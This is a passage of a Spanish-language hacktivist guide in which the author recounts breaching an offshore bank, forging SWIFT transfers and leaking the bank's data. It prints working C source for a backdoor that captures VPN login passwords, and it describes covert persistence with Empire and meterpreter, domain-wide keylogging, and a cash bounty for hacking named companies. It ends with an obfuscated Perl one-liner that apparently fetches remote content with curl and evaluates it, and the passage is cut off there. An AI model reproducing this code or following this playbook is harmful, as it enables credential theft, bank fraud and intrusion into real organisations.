hacia la red interna de GammaGroup, fui incapaz de penetrar mas allá en la compañía. A partir de estaexperiencia con el Grupo Gamma y otros hacks, me di cuenta de que estabarealmente limitada por mi falta de conocimiento sobre escalada de privilegios ymovimiento lateral en dominios windows, active directory y windows en general.Así que estudié y practiqué (ver sección 11), hasta que sentí que estaba listapara volver a hacerle una visita a Hacking Team casi un año después. La prácticadio sus frutos, y esa vez fui capaz de realizar un compromiso completo de lacompañía [7]. Antes de darme cuenta de que podía entrar con shellshock, estabadispuesta a pasar meses enteros feliz de la vida estudiando desarrollo deexploits y escribiendo un exploit confiable para una de las vulnerabilidades decorrupción de memoria que había encontrado. Sólo sabía que Hacking Teamnecesitaba ser expuesto, y que me tomaría tanto tiempo como fuese necesario yaprendería lo que tuviese que aprender para conseguirlo. Para realizar estoshacks no necesitas ser brillante. Ni siquiera necesitas un gran conocimientotécnico. Sólo necesitas dedicación, y creer en tí misma.[1] https://www.exploit-db.com/papers/41914[2] https://es.wikipedia.org/wiki/Shellshock_(error_de_software)[3] https://citizenlab.ca/tag/hacking-team/[4] https://citizenlab.ca/tag/finfisher/[5] https://theintercept.com/2014/08/07/leaked-files-german-spy-company-helped- bahrain-track-arab-spring-protesters/[6] https://www.exploit-db.com/papers/41913[7] https://web.archive.org/web/20150706095436/https://twitter.com/hackingteam----[ 4.2 - El Backdoor ]-------------------------------------------------------Parte del backdoor que preparé para Hacking Team (véase [1], sección 6) era un wrapper sencillo sobre la página de login para capturar contraseñas:#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <string.h>#include <stdlib.h>int main(){ char buf[2048]; int nread, pfile; /* jala el log si mandamos una cookie especial */ char *cookies = getenv("HTTP_COOKIE"); if (cookies && strstr(cookies, "nuestra contraseña privada")) { write(1, "Content-type: text/plain\n\n", 26); pfile = open("/tmp/.pfile", O_RDONLY); while ((nread = read(pfile, buf, sizeof(buf))) > 0) write(1, buf, nread); exit(0); } /* el principal almacena los datos del POST y se los envía al hijo, que es el programa de login real */ int fd[2]; pipe(fd); pfile = open("/tmp/.pfile", O_APPEND | O_CREAT | O_WRONLY, 0600); if (fork()) { close(fd[0]); while ((nread = read(0, buf, sizeof(buf))) > 0) { write(fd[1], buf, nread); write(pfile, buf, nread); } write(pfile, "\n", 1); close(fd[1]); close(pfile); wait(NULL); } else { close(fd[1]); dup2(fd[0],0); close(fd[0]); execl("/usr/src/EasyAccess/www/cgi-bin/.userLogin", "userLogin", NULL); }}En el caso de Hacking Team, se logueaban a la VPN con passwords de un solo uso,de modo que la VPN me dio acceso solamente a la red, y a partir de ahí me tomóun esfuerzo extra conseguir admin de dominio en su red. En la otra guía escribísobre pases laterales y escalada de privilegios en dominios windows [1]. En estecaso, en cambio, eran las mismas contraseñas de dominio de windows las que seusaban para autenticarse contra la VPN, así que pude conseguir un buen decontraseñas de usuarios, incluyendo la del admin de dominio. Ahora tenía totalacceso a su red, pero usualmente esta es la parte fácil. La parte más complicadaes entender cómo es que operan y cómo sacar el pisto.[1] https://www.exploit-db.com/papers/41914----[ 4.3 - Datos curiosos ]----------------------------------------------------Al seguir la investigación que hicieron sobre el hackeo, me resultó interesantever que, por la misma época en que yo lo hice, el banco pudo haber sidocomprometido por alguna otra persona mediante un email de phishing dirigido [1].Como dice el viejo dicho, "dale a una persona un exploit y tendrá acceso por undía, enséñale a phishear y tendrá acceso toda su vida" [2]. El hecho de quealguien más, por casualidad y al mismo tiempo que yo, se pusiera este bancopequeño en la mira (registraron un dominio similar al dominio real del bancopara poder enviar el phishing desde ahí) hace pensar que los hackeos bancariosocurren con mucha más frecuencia de lo que se conoce.Una sugerencia divertida para que puedas seguir las investigaciones de tus hackeos es tener un acceso de respaldo, uno que no vas a tocar a menos que pierdas el acceso normal. Tengo un script sencillo que espera comandos una vez al dia, o menos, sólo para mantener acceso a largo plazo en el caso de que bloqueen mi acceso regular. Luego tenía un powershell empire [3] llamando a casa con más frecuencia a una IP diferente, y usaba empire para lanzar meterpreter [4] contra una tercera IP, donde realizaba la mayor parte de mi trabajo. Cuando PWC se puso a investigar el hackeo, encontraron mi uso de empire y meterpreter y limpiaron esas computadoras y bloquearon esas IPs, pero no detectaron mi acceso de respaldo. PWC habia colocado dispositivos de monitoreo de red, para poder analizar el tráfico y ver si todavía había computadoras infectadas, de modo que no quería conectarme mucho a su red. Sólo lancé mimikatz una vez para obtener las nuevas contraseñas, y a partir de ahí pude seguir sus investigaciones leyendo sus correos en el outlook web access.[1] página 47, Project Pallid Nutmeg.pdf, en torrent[2] https://twitter.com/thegrugq/status/563964286783877121[3] https://github.com/EmpireProject/Empire[4] https://github.com/rapid7/metasploit-framework--[ 5 - Entender las Operaciones Bancarias ]------------------------------------Para entender cómo operaba el banco, y cómo podría sacar dinero, seguí las técnicas que resumí en [1], en la sección "13.3 - Reconocimiento Interno". Descargué una lista de todos los nombres de archivos, le hice un grep en busca de palabras como "SWIFT" y "transferencia", y descargué y leí todos los archivos con nombres interesantes. También busqué correos de empleados, pero de lejos la técnica más útil fue usar keyloggers y capturas de pantalla paraobservar cómo trabajaban los empleados del banco. No lo sabía por entonces, pero para esto windows trae una herramienta buenisima de monitoreo [2]. Como sedescribe en la técnica no. 5 del apartado 13.3 en [1], hice una captura de lasteclas pulsadas en todo el dominio (incluyendo los títulos de ventana), hice ungrep en busca de SWIFT, y encontré algunos empleados abriendo 'SWIFT AccessService Bureau - Logon'. Para esos empleados, corrí meterpreter como en [3], yusé el módulo post/windows/gather/screen_spy para tomar capturas de pantallacada 5 segundos, para observar cómo es que trabajaban. Estaban usando una appcitrix remota de la compañía bottomline [4] para acceder a la red SWIFT, dondecada mensaje de pago SWIFT MT103 tenía que pasar a través de tres empleados: unopara "crear" el mensaje, uno para "verificarlo", y otro para "autorizarlo". Comoya tenía todas sus credenciales gracias al keylogger, pude realizar confacilidad los tres pasos yo misma. Y por lo que sabía después de haberles vistotrabajar, no revisaban los mensajes SWIFT enviados, de modo que debería tenersuficiente tiempo para sacar el dinero de mis bank drops antes de que el bancose diera cuenta e intentara revertir las transferencias.[1] https://www.exploit-db.com/papers/41914[2] https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr- remotely-with-metasploit/[3] https://www.trustedsec.com/blog/no_psexec_needed/[4] https://www.bottomline.com/uk/products/bottomline-swift-access-services _________________________________________/ Quien roba a un ladrón, tiene cien años \\ de perdón. / ----------------------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 6 - Enviar el dinero ]------------------------------------------------------No tenía mucha idea de lo que estaba haciendo, así que lo iba descubriendo por el camino. De algún modo, las primeras transferencias que envié salieron bien. Al día siguiente, la cagué enviando una transferencia a méxico que puso fin a mi diversión. Este banco enviaba sus transferencias internacionales a través de su cuenta corresponsal en Natwest. Había visto que la cuentacorresponsal para las transferencias en libras esterlinas (GBP) aparecía comoNWBKGB2LGPL, mientras que para las demás era NWBKGB2LXXX. La transferenciamexicana estaba en GBP, así que asumí que tenía que poner NWBKGB2LGPL comocorresponsal. Si lo hubiera preparado mejor habría sabido que el GPL en lugar deXXX señalaba que el pago se enviaría a través del Servicio de Pagos Rápidos delReino Unido, en lugar de como una transferencia internacional, lo que obviamentepues no va a funcionar cuando estás tratando de enviar dinero a méxico. Así queal banco le llegó un mensaje de error. El mismo día también traté de enviar unpago de £200k a UK usando NWBKGB2LGPL, que no se hizo porque 200k sobrepasaba ellímite de envío mediante pagos rápidos, y hubiera tenido que usar NWBKGB2LXXX envez. También recibieron un mensaje de error por esto. Leyeron los mensajes, loinvestigaron, y encontraron el resto de mis transferencias.--[ 7 - El botín ]--------------------------------------------------------------Por lo que escribo ya se harán una noción cabal de cuáles son mis ideales y aqué cosas les doy mi apoyo. Pero no quisiera ver a nadie en problemas legales por recibir fondos expropiados, así que ni una palabra más de para dónde se fue la lana. Sé que los periodistas probablemente van a querer poner algún número sobre cuántos dólares fueron distribuidos en este hackeo y otrosparecidos, pero prefiero no alentar nuestro perverso hábito de medir las acciones nomás por su valor económico. Cualquier acción es admirable si es que viene desde el amor y no desde el ego. Por desgracia los de arriba, los ricos ypoderosos, las figuras públicas, los hombres de negocios, la gente en posiciones"importantes", aquellos que nuestra sociedad más respeta y valora, esos se hancolocado donde están a base de actuar más desde el ego que desde el amor. Es enla gente sencilla, humilde e "invisible" en quien deberíamos fijarnos y aquienes deberíamos admirar.--[ 8 - Criptomonedas ]---------------------------------------------------------Redistribuir dinero expropiado a proyectos chileros que buscan un cambio social positivo sería más fácil y seguro si esos proyectos aceptaran donaciones anónimas vía criptomonedas como monero, zcash, o al menos bitcoin. Se entiende que muchos de esos proyectos tengan una aversión a las criptomonedas, ya que se parecen más a alguna extraña distopía hipercapitalista que a la economía social con la que soñamos. Comparto su escepticismo, pero pienso que resultan útiles para permitir donaciones y transacciones anónimas, al limitar lavigilancia y control gubernamentales. Igual que el efectivo, cuyo uso muchospaíses están tratando de limitar por la misma razón.--[ 9 - Powershell ]------------------------------------------------------------En esta operación, al igual en que en [1], hice mucho uso de powershell. Porentonces, powershell era super cool, podías hacer casi cualquier cosa quequisieras, sin detección de antivirus y con muy poco footprint forense. Ocurreque con la introducción del AMSI [2] el powershell ofensivo está de retirada.Hoy día el C# ofensivo es lo que está de subida, con heramientas como[3][4][5][6]. AMSI va a llegar a .NET para la 4.8, así que a las herramientas enC# probablemente todavía les queden un par de añitos antes de quedar anticuadas.Y entonces pues volveremos a usar C o C++, o tal vez Delphi vuelva a ponerse demoda. Las herramientas y técnicas específicas cambian cada pocos años, pero enel fondo no es tanto lo que cambia, hoy el hacking en esencia sigue siendo lamisma cosa que era en los 90s. De hecho todos los scripts de powershellempleados en esta guía y en la anterior [1] siguen siendo perfectamente usableshoy día, tras una pequeña ofuscación de tu propia cosecha.[1] https://www.exploit-db.com/papers/41914[2] https://medium.com/@byte_St0rm/ adventures-in-the-wonderful-world-of-amsi-25d235eb749c[3] https://cobbr.io/SharpSploit.html[4] https://github.com/tevora-threat/SharpView[5] https://www.harmj0y.net/blog/redteaming/ghostpack/[6] https://rastamouse.me/2019/08/covenant-donut-tikitorch/ ___________________________/ Fo Sostyn, Fo Ordaag \\ Financial Sector Fuck Off / --------------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'--[ 10 - Torrent ]-------------------------------------------------------------- Privacidad para los débiles, transparencia para los poderosos.La banca offshore provee de privacidad frente a su propio gobierno a los ejecutivos, a los políticos y a los millonarios. Exponerles puede sonarhipócrita por mi parte, dado que por lo general estoy a favor de la privacidad yen contra de la vigilancia gubernamental. Pero la ley ya estaba escrita por ypara los ricos: protege su sistema de explotación, con algunos límites (como losimpuestos) para que la sociedad pueda funcionar y el sistema no colapse bajo elpeso de su propia avaricia. Así que no, no es lo mismo la privacidad para lospoderosos, cuando les permite evadir los limites de un sistema de por sídiseñado para darles privilegios; y la privacidad para los débiles, a quienesprotege de un sistema concebido para explotarles.Incluso a periodistas con la mejor de las intenciones les resulta imposibleestudiar una cantidad tan ingente de material y saber qué va a resultarrelevante para la gente en diferentes partes del mundo. Cuando filtré losarchivos de Hacking Team, entregué a The Intercept una copia de los correoselectrónicos con un mes de antelación. Encontraron un par de los 0days queHacking Team estaba usando, los reportaron previamente a MS y Adobe y publicaronunas cuantas historias una vez que la filtración se hizo pública. No hay puntode comparación con la enorme cantidad de artículos e investigación que vino trasla filtración completa al público. Viéndolo así, y considerando también la (no) publicación editorializada [1] de los papeles de panamá, pienso que unafiltración pública y completa de este material es la elección correcta.[1] https://www.craigmurray.org.uk/archives/2016/04/corporate-media-gatekeepers- protect-western-1-from-panama-leak/Los psicólogos hallaron que los que están más abajo en las jerarquías tienden acomprender y a empatizar con aquellos en la cima, pero que lo contrario es menoscomún. Esto explica por qué, en este mundo sexista, muchos hombres bromean sobresu imposibilidad de entender a las mujeres, como si se tratara de un misterioirresoluble. Explica por qué los ricos, si es que se paran a pensar en quienesviven en la pobreza, dan unos consejos y unas "soluciones" tan ajenas a larealidad que dan ganas de reír. Explica por qué reverenciamos a los ejecutivoscomo valientes que asumen riesgos. ¿Qué es lo que arriesgan, más allá de suprivilegio? Si todos sus emprendimientos fracasan, tendrán que vivir y trabajarcomo el resto de nosotras. También explica por qué serán muchos los que acusende irresponsable y peligrosa a esta filtración sin tachaduras. Sienten el"peligro" sobre un banco offshore y sus clientes de forma mucho más intensa delo que sienten la miseria de aquellos desposeídos por este sistema injusto ydesigual. Y la filtración de sus finanzas, ¿es acaso un peligro para ellos, otan sólo para su posición en lo alto de una jerarquía que ni siquiera deberíaexistir? ,---------------------------------------------------. _,-._ | Nos vilifican, esos infames; cuando la única | ; ___ : | diferencia es que ellos roban a los pobres | ,--' (. .) '--.__ | amparados por la ley, lo sabe el cielo, y nosotros| _; ||| \ | saqueamos a los ricos bajo la única protección de | '._,-----''';=.____," | nuestro propio coraje. ¿No has de preferir ser | /// < o> |##| | uno de nosotros, antes que pordiosear ante esos | (o \`--' / villanos en busca de trabajo? | ///\ >>>> _\ <<<< //`---------------------------------------------------' --._>>>>>>>><<<<<<<< / ___() >>>[||||]<<<< `--'>>>>>>>><<<<<<< >>>>>>><<<<<< >>>>><<<<< >>ctr<< Capitán Bellamy --[ 11 - Aprende a hackear ]---------------------------------------------------- No se empieza hackeando bien. Empiezas hackeando mierda, pensando que es bueno, y luego poco a poco vas mejorando. Por eso siempre digo que una de las virtudes más valiosas es la persistencia. - Consejos de Octavia Butler para la aspirante a APTLa mejor forma de aprender a hackear es hackeando. Armate un laboratorio conmáquinas virtuales y empezá a probar cosas, tomándote un break para investigarcualquier cosa que no entiendas. Como mínimo vas a querer un servidor windowscomo controlador de dominio, otra vm windows normal unida al dominio, y unamáquina de desarrollo con visual studio para compilar y modificar herramientas.Intenta hacer un documento de office con macros que lancen meterpreter u otroRAT, y probá meterpreter, mimikatz, bloodhound, kerberoasting, smb relaying,psexec y otras técnicas de pase lateral [1]; así como los otros scripts,herramientas y técnicas mencionados en esta guía y en la anterior [2]. Alprincipio puedes deshabilitar windows defender, pero luego probalo todoteniéndolo activado [3][4] (pero desactivando el envío automático de muestras).Una vez que estés a gusto con todo eso, estarás lista para hackear el 99% de lascompañías. Hay un par de cosas que en algún momento serán muy útiles en tuaprendizaje, como desenvolverte cómodamente con bash y cmd.exe, un dominiobásico de powershell, python y javascript, tener conocimiento de kerberos [5][6]y active directory [7][8][9][10], y un inglés fluido. Un buen librointroductorio es The Hacker Playbook.Quiero también escribir un poco sobre cosas en las que no centrarse si no tequieres entretener sólo porque alguien te haya dicho que no eres una hacker "deverdad" si no sabes ensamblador. Obviamente, aprende lo que sea que te interese,pero escribo estas líneas pensando en aquellas cosas en las que te puedescentrar a fin de conseguir resultados prácticos si lo que buscas es hackearcompañías para filtrar y expropiar. Un conocimiento básico de seguridad enaplicaciones web [11] es útil, pero especializarte más en seguridad web no esrealmente el mejor uso de tu tiempo, a menos que quieras hacer una carrera enpentesting o cazando recompensas por bugs. Los CTFs, y la mayoría de losrecursos que encontrarás al buscar información sobre hacking, se centrangeneralmente en habilidades como seguridad web, ingeniería inversa, desarrollode exploits, etc. Cosas que tienen sentido entendiéndolas como una forma depreparar gente para las carreras en la industria, pero no para nuestrosobjetivos. Las agencias de inteligencia pueden darse el lujo de tener un equipodedicado a lo más avanzado en fuzzing, un equipo trabajando en desarrollo deexploits con un güey investigando exclusivamente las nuevas técnicas demanipulación del montículo, etc. Nosotras no tenemos ni el tiempo ni losrecursos para eso. Las dos habilidades de lejos más importantes para el hackingpráctico son el phishing [12] y la ingeniería social para conseguir accesoinicial, y luego poder escalar y moverte por los dominios windows.[1] https://hausec.com/2019/08/12/offensive-lateral-movement/[2] https://www.exploit-db.com/papers/41914[3] https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf[4] https://www.trustedsec.com/blog/ discovering-the-anti-virus-signature-and-bypassing-it/[5] https://www.tarlogic.com/en/blog/how-kerberos-works/[6] https://www.tarlogic.com/en/blog/how-to-attack-kerberos/[7] https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/[8] https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/[9] https://adsecurity.org/[10] https://github.com/infosecn1nja/AD-Attack-Defense[11] https://github.com/jhaddix/tbhm[12] https://blog.sublimesecurity.com/red-team-techniques-gaining-access-on-an- external-engagement-through-spear-phishing/--[ 12 - Lecturas Recomendadas ]------------------------------------------------ __________________________________________/ Cuando el nivel científico de un mundo \| supera por mucho su nivel de solidaridad,|\ ese mundo se autodestruye. / ------------------------------------------ \ _.---._ . . * \.' '. ** _.-~===========~-._ . (___________________) . * .' \_______/ .' .' .' ' - AmiCasi todo el hacking hoy día se hace por hackers de sombrero negro, para su provecho personal; o por hackers de sombrero blanco, para el provecho de los accionistas (y en defensa de los bancos, compañías y estados que nos están aniquilando a nosotras y al planeta en que vivimos); y por militares y agencias de inteligencia, como parte de su agenda de guerra y conflictos. Viendo que este nuestro mundo ya está al límite, he pensado que, además de estosconsejos técnicos para aprender a hackear, debía incluir algunos recursos quehan sido muy importantes para mi desarrollo y me han guiado en el uso de misconocimientos de hacking.* Ami: El Niño de las Estrellas - Enrique Barrios * La Anarquía Funciona https://es.theanarchistlibrary.org/library/peter-gelderloos-la-anarquia- funciona* Viviendo Mi Vida - Emma Goldman* The Rise and Fall of Jeremy Hammond: Enemy of the State https://www.rollingstone.com/culture/culture-news/the-rise-and-fall-of-jeremy- hammond-enemy-of-the-state-183599/ Este cuate y el hack de HBGary fueron una inspiración* Días de Guerra, Noches de Amor - Crimethinc* Momo - Michael Ende* Cartas a un joven poeta - Rilke* Dominion (Documental) "no podemos creer que, si no miramos, no sucederá lo que no queremos ver" - Tolstoy en Первая ступень* Bash Back!--[ 13 - Sanar ]----------------------------------------------------------------El mundo hacker tiene una alta incidencia de depresión, suicidios y ciertasbatallas con la salud mental. No creo que sea a causa del hacking, sino por laclase de ambiente del que en su mayoría provienen los hackers. Como muchashackers, crecí con escaso contacto humano: fui una niña criada por el internet.Tengo mis luchas con la depresión y el entumecimiento emocional. A Willie Suttonse le cita con frecuencia diciendo que robaba bancos porque "allí es donde estáel dinero", pero la cita es incorrecta. Lo que realmente dijo fue: ¿Por qué robaba bancos? Porque lo disfrutaba. Amaba hacerlo. Estaba más vivo cuando estaba dentro de un banco, en pleno atraco, que en cualquier otro momento de mi vida. Lo disfrutaba tanto que una o dos semanas después ya estaba buscando la siguiente oportunidad. Pero para mí el dinero era una minucia, nada más.El hacking me ha hecho sentir viva. Comenzó como una forma de automedicar ladepresión. Más tarde me di cuenta de que, en realidad, podía servir para haceralgo positivo. No me arrepiento para nada de la forma en que crecí, trajo variasexperiencias hermosas a mi vida. Pero sabía que no podía continuar viviendo deesa manera. Así que comencé a pasar más tiempo alejada de mi computadora, conotras personas, aprendiendo a abrirme al mundo, a sentir mis emociones, aconectar con los demás, a aceptar riesgos y ser vulnerable. Cosas mucho másdifíciles que hackear, pero a la mera hora la recompensa vale más la pena. Aúnme supone un esfuerzo, pero aunque sea de forma lenta y tambaleante, siento quevoy por buen camino.El hacking, hecho con conciencia, también puede ser lo que nos sana. Según lasabiduría maya, tenemos un don otorgado por la naturaleza, que debemoscomprender para ponerlo al servicio de la comunidad. En [1], se explica: Cuando una persona no acepta su trabajo o misión empieza a padecer enfermedades, aparentemente incurables; aunque no llega a morir en corto tiempo, sino únicamente sufre, con el objetivo de despertar o tomar conciencia. Por eso es indispensable que una persona que ha adquirido los conocimientos y realiza su trabajo en las comunidades debe pagar su Toj y mantener una comunicación constante con el Creador y su ruwäch q’ij, pues necesita constantemente de la fuerza y energía de estos. De lo contrario, las enfermedades que lo hicieron reaccionar o tomar el trabajo podrían volver a causar daño.Si sientes que el hacking está alimentando tu aislamiento, depresión, u otrospadecimientos, respira. Date un tiempo para conocerte y tomar conciencia. Vosmereces vivir feliz, con salud y plenitud. ________________________< All Cows Are Beautiful > ------------------------ \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || `'[1] Ruxe’el mayab’ K’aslemäl: Raíz y espíritu del conocimiento maya https://www.url.edu.gt/publicacionesurl/FileCS.ashx?Id=41748--[ 14 - El Programa Hacktivista de Caza de Bugs ]------------------------------Me parece que hackear para conseguir y filtrar documentos de interés público esuna de las mejores maneras en que lxs hackers pueden usar sus habilidades enbeneficio de la sociedad. Por desgracia para nosotras las hackers, como en casitodo rubro, los incentivos perversos de nuestro sistema económico no coincidencon aquello que beneficia a la sociedad. Así que este programa es mi intento dehacer posible que lxs buenxs hackers se puedan ganar la vida de forma honestaponiendo al descubierto material de interés público, en vez de tener que andarvendiendo su trabajo a las industrias de la ciberseguridad, el cibercrimen o laciberguerra. Entre algunos ejemplos de compañías por cuyos leaks me encantaríapagar están las empresas mineras, madereras y ganaderas que saquean nuestrahermosa América Latina (y asesinan a las defensoras de la tierra y el territorioque tratan de detenerles), empresas involucradas en ataques a Rojava como BaykarMakina o Havelsan, compañías de vigilancia como el grupo NSO, criminales deguerra y aves de rapiña como Blackwater y Halliburton, empresas penitenciariasprivadas como GeoGroup y CoreCivic/CCA, y lobbistas corporativos como ALEC.Presta atención a la hora de elegir dónde investigas. Por ejemplo, es bienconocido que las petroleras son malvadas: se enriquecen a costa de destruir elplaneta (y allá por los 80s las propias empresas ya sabían de las consecuenciasde su actividad [1]). Pero si les hackeas directamente, tendrás que bucear entreuna increíble cantidad de información aburridísima acerca de sus operacionescotidianas. Muy probablemente te va a ser mucho más fácil encontrar algointeresante si en cambio te enfocas en sus lobbistas [2]. Otra manera deseleccionar objetivos viables es leyendo historias de periodistas deinvestigación (como [3]), que son interesantes pero carecen de evidenciassólidas. Y eso es exactamente lo que tus hackeos pueden encontrar.Pagaré hasta 100 mil USD por cada filtración de este tipo, según el interés público e impacto del material, y el laburo requerido en el hackeo. Sobra decirque una filtración completa de los documentos y comunicaciones internas dealguna de estas empresas supondrá un beneficio para la sociedad que sobrepasaesos cien mil, pero no estoy tratando de enriquecer a nadie. Sólo quiero proveerde fondos suficientes para que las hackers puedan ganarse la vida de forma dignahaciendo un buen trabajo. Por limitaciones de tiempo y consideraciones deseguridad no voy a abrir el material, ni a inspeccionarlo por mí misma, sino queleeré lo que la prensa diga al respecto una vez se haya publicado, y haré unaestimación del interés público a partir de ahí. Mi información de contacto estáal final de la guía mencionada antes [4].Cómo obtengas el material es cosa tuya. Puedes usar las técnicas tradicionales de hacking esbozadas en esta guía y la anterior [4]. Podrías hacerle una simswap [5] a un empresario o politiquero corrupto, y luego descargar sus correos ybackups desde la nube. Puedes pedir un IMSI catcher de alibaba y usarlo afuerade sus oficinas. Puedes hacer un poco de war-driving (del antiguo o del nuevo[6]). Puede que seas una persona dentro de sus organizaciones que ya tieneacceso. Puedes optar por un estilo low-tech tipo old-school como en [7] y [8], ysencillamente colarte en sus oficinas. Lo que sea que te funcione.[1] https://www.theguardian.com/environment/climate-consensus-97-per-cent/2018/ sep/19/shell-and-exxons-secret-1980s-climate-change-warnings[2] https://theintercept.com/2019/08/19/oil-lobby-pipeline-protests/[3] https://www.bloomberg.com/features/2016-como-manipular-una-eleccion/[4] https://www.exploit-db.com/papers/41914[5] https://www.vice.com/en_us/article/vbqax3/ hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin[6] https://blog.rapid7.com/2019/09/05/this-one-time-on-a-pen-test-your-mouse- is-my-keyboard/[7] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI[8] https://en.wikipedia.org/wiki/Unnecessary_Fuss----[ 14.1 - Pagos parciales ]--------------------------------------------------¿Eres una camarera de buen corazón que trabaja en una compañía del mal [1]?¿Estarías dispuesta a introducir sigilosamente un keylogger físico en lacomputadora de un ejecutivo, a cambiar su cable de carga USB por uno modificado[2], esconder un micro en alguna sala de reuniones donde planean susatrocidades, o a dejar uno de estos [3] olvidado en algún rincón de lasoficinas? [1] https://en.wikipedia.org/wiki/Evil_maid_attack[2] http://mg.lol/blog/defcon-2019/[3] https://shop.hak5.org/products/lan-turtle¿Eres bueno con ingeniería social y phishing, y conseguiste una shell en la computadora de un empleado, o por ahí conseguiste sus credenciales de la vpnusando phishing? ¿Pero quizás no pudiste conseguir admin de dominio y descargarlo que querías?¿Participaste en programas de bug bounties y te convertiste en una experta enel hacking de aplicaciones web, pero no tienes suficiente experiencia hackerpara penetrar completamente la compañía?¿Tienes facilidad con la ingeniería inversa? Escanea algunas compañías del malpara ver qué dispositivos tienen expuestos a internet (firewall, vpn, y pasarelas de correo electrónico serán mucho más útiles que cosas como cámarasIP), aplícales ingeniería inversa y encuentra alguna vulnerabilidad explotablede forma remota.Si me es posible trabajar con vos para penetrar la compañía y conseguir materialde interés público, igualmente serás recompensada por tu trabajo. Si es que notengo el tiempo de trabajar en ello yo misma, al menos trataré de aconsejarteacerca de cómo continuar hasta que puedas completar el hackeo por tu cuenta.Apoyar a aquellos en el poder para hackear y vigilar a disidentes, activistas ya la población en general es hoy día una industria de varios miles de millonesde dólares, mientras que hackear y exponer a quienes están en el poder es untrabajo voluntario y arriesgado. Convertirlo en una industria de varios millonesde dólares ciertamente no va a arreglar ese desequilibrio de poder, ni va asolucionar los problemas de la sociedad. Pero creo que va a ser divertido. Asíque... ¡ya quiero ver gente comenzando a cobrar sus recompensas!--[ 15 - Abolir las prisiones ]------------------------------------------------- Construidas por el enemigo pa encerrar ideas encerrando compañeros pa acallar gritos de guerra es el centro de tortura y aniquilamiento donde el ser humano se vuelve más violento es el reflejo de la sociedad, represiva y carcelaria sostenida y basada en lógicas autoritarias custodiadas reprimidos y vigilados miles de presas y presos son exterminados ante esta máquina esquizofrénica y despiadada compañero Axel Osorio dando la pela en la cana rompiendo el aislamiento y el silenciamiento fuego y guerra a la cárcel, vamos destruyendo! Rap Insurrecto - Palabras En ConflictoSería típico terminar un zine hacker diciendo liberen a hammond, liberen amanning, liberen a hamza, liberen a los detenidos por el montaje del дело Сети,etc. Voy a llevar esta tradición a su consecuencia más radical [1], y a decir:¡hay que abolir las prisiones ya!. Siendo yo misma una delincuente, puedenpensar que lo que ocurre es que tengo una visión un poco sesgada del asunto.Pero en serio, es que ni siquiera es un tema controvertido, incluso la ONU estáprácticamente de acuerdo [2]. Así que, de una buena vez, liberen a las personasmigrantes [3][4][5][6], encarceladas a menudo por esos mismos países que crearonla guerra y la destrucción ambiental y económica de la que huyen. Liberen atodos los que están en prisión por la guerra contra quienes usan drogas [7].Liberen a todas las personas encarceladas por la guerra contra los pobres [8].Las prisiones lo único que hacen es esconder e ignorar la prueba de laexistencia de los problemas sociales, en lugar de arreglarlos de a de veras. Yhasta que todxs sean liberados, lucha contra el sistema carcelario recordando yteniendo presentes a aquellos que están atrapados ahí dentro. Envíales cariño,cartas, helicópteros [9], radios piratas [10] y libros, y apoya a quienes seorganizan desde ahí adentro [11][12].[1] http://www.bibliotecafragmentada.org/wp-content/uploads/2017/12/ Davis-Son-obsoletas-las-prisiones-final.pdf[2] http://www.unodc.org/pdf/criminal_justice/Handbook_of_Basic_Principles_and_ Promising_Practices_on_Alternatives_to_Imprisonment.pdf[3] https://www.theguardian.com/us-news/2016/dec/21/ us-immigration-detention-center-christmas-santa-wish-list[4] https://www.theguardian.com/us-news/2016/aug/18/us-border-patrol-facility- images-tucson-arizona[5] https://www.playgroundmag.net/now/detras-Centros-Internamiento-Extranjeros- Espana_22648665.html[6] https://www.nytimes.com/2019/06/26/world/australia/ australia-manus-suicide.html[7] https://en.wikiquote.org/wiki/John_Ehrlichman#Quotes[8] VI, 2. i. La multa impaga: https://scielo.conicyt.cl/scielo.php?script= sci_arttext&pid=S0718-00122012000100005[9] p. 10, Libelo Nº2. Boletín político desde la Cárcel de Alta Seguridad[10] https://itsgoingdown.org/transmissions-hostile-territory/[11] https://freealabamamovement.wordpress.com/f-a-m-pamphlet-who-we-are/[12] https://incarceratedworkers.org/--[ 16 - Conclusión ]-----------------------------------------------------------Nuestro mundo está patas arriba [1]. Tenemos un sistema de justicia querepresenta a la injusticia. La ley y el orden están ahí para crear una ilusiónde paz social, y ocultar lo sistemático y profundo de la explotación, laviolencia, y la injusticia. Mejor seguir a tu conciencia, y no a la ley.[1] http://resistir.info/livros/galeano_patas_arriba.pdfLos hombres de negocios se enriquecen maltratando a las personas y al planeta,mientras que el trabajo de los cuidados queda mayormente sin pagar. Mediante elasalto a todo lo comunal, de algún modo hemos levantado ciudades densamentepobladas, plagadas por la soledad y el aislamiento. El sistema cultural,político y económico en que vivimos alienta las peores facetas de la naturalezahumana: la avaricia, el egoísmo y egocentrismo, la competitividad, la falta decompasión y el apego por la autoridad. Así que, para quien haya conseguidopermanecer sensible y compasivo en un mundo frío, para todas las heroínascotidianas que practican la bondad en las pequeñas cosas, para todas ustedes queaún tienen una estrella encendida en sus corazones: гоpи, гоpи ясно, чтобы непогасло! _____________________ < ¡Cantemos juntas! > --------------------- \ \ ^__^ (oo)\_______ ( (__)\ )\/\ _) / ||----w | (.)/ || || Ábrete corazón Ábrete sentimiento Ábrete entendimiento Deja a un lado la razón Y deja brillar el sol escondido en tu interior perl -Mre=eval <<\EOF '' =~( '(?' .'{'.( '`'|'%' ).("\["^ '-').('`'| '!').("\`"| ',').'"(\\$' .':=`'.(('`')| '#').('['^'.'). ('['^')').("\`"| ',').('{'^'[').'-'.('['^'(').('{'^'[').('`'|'(').('['^'/').('['^'/').( '['^'+').('['^'(').'://'.('`'|'%').('`'|'.').('`'|',').('`'|'!').("\`"| '#').('`'|'%').('['^'!').('`'|'!').('['^'+').('`'|'!').('['^"\/").( '`'|')').('['^'(').('['^'/').('`'|'!').'.'.('`'|'%').('['^'!') 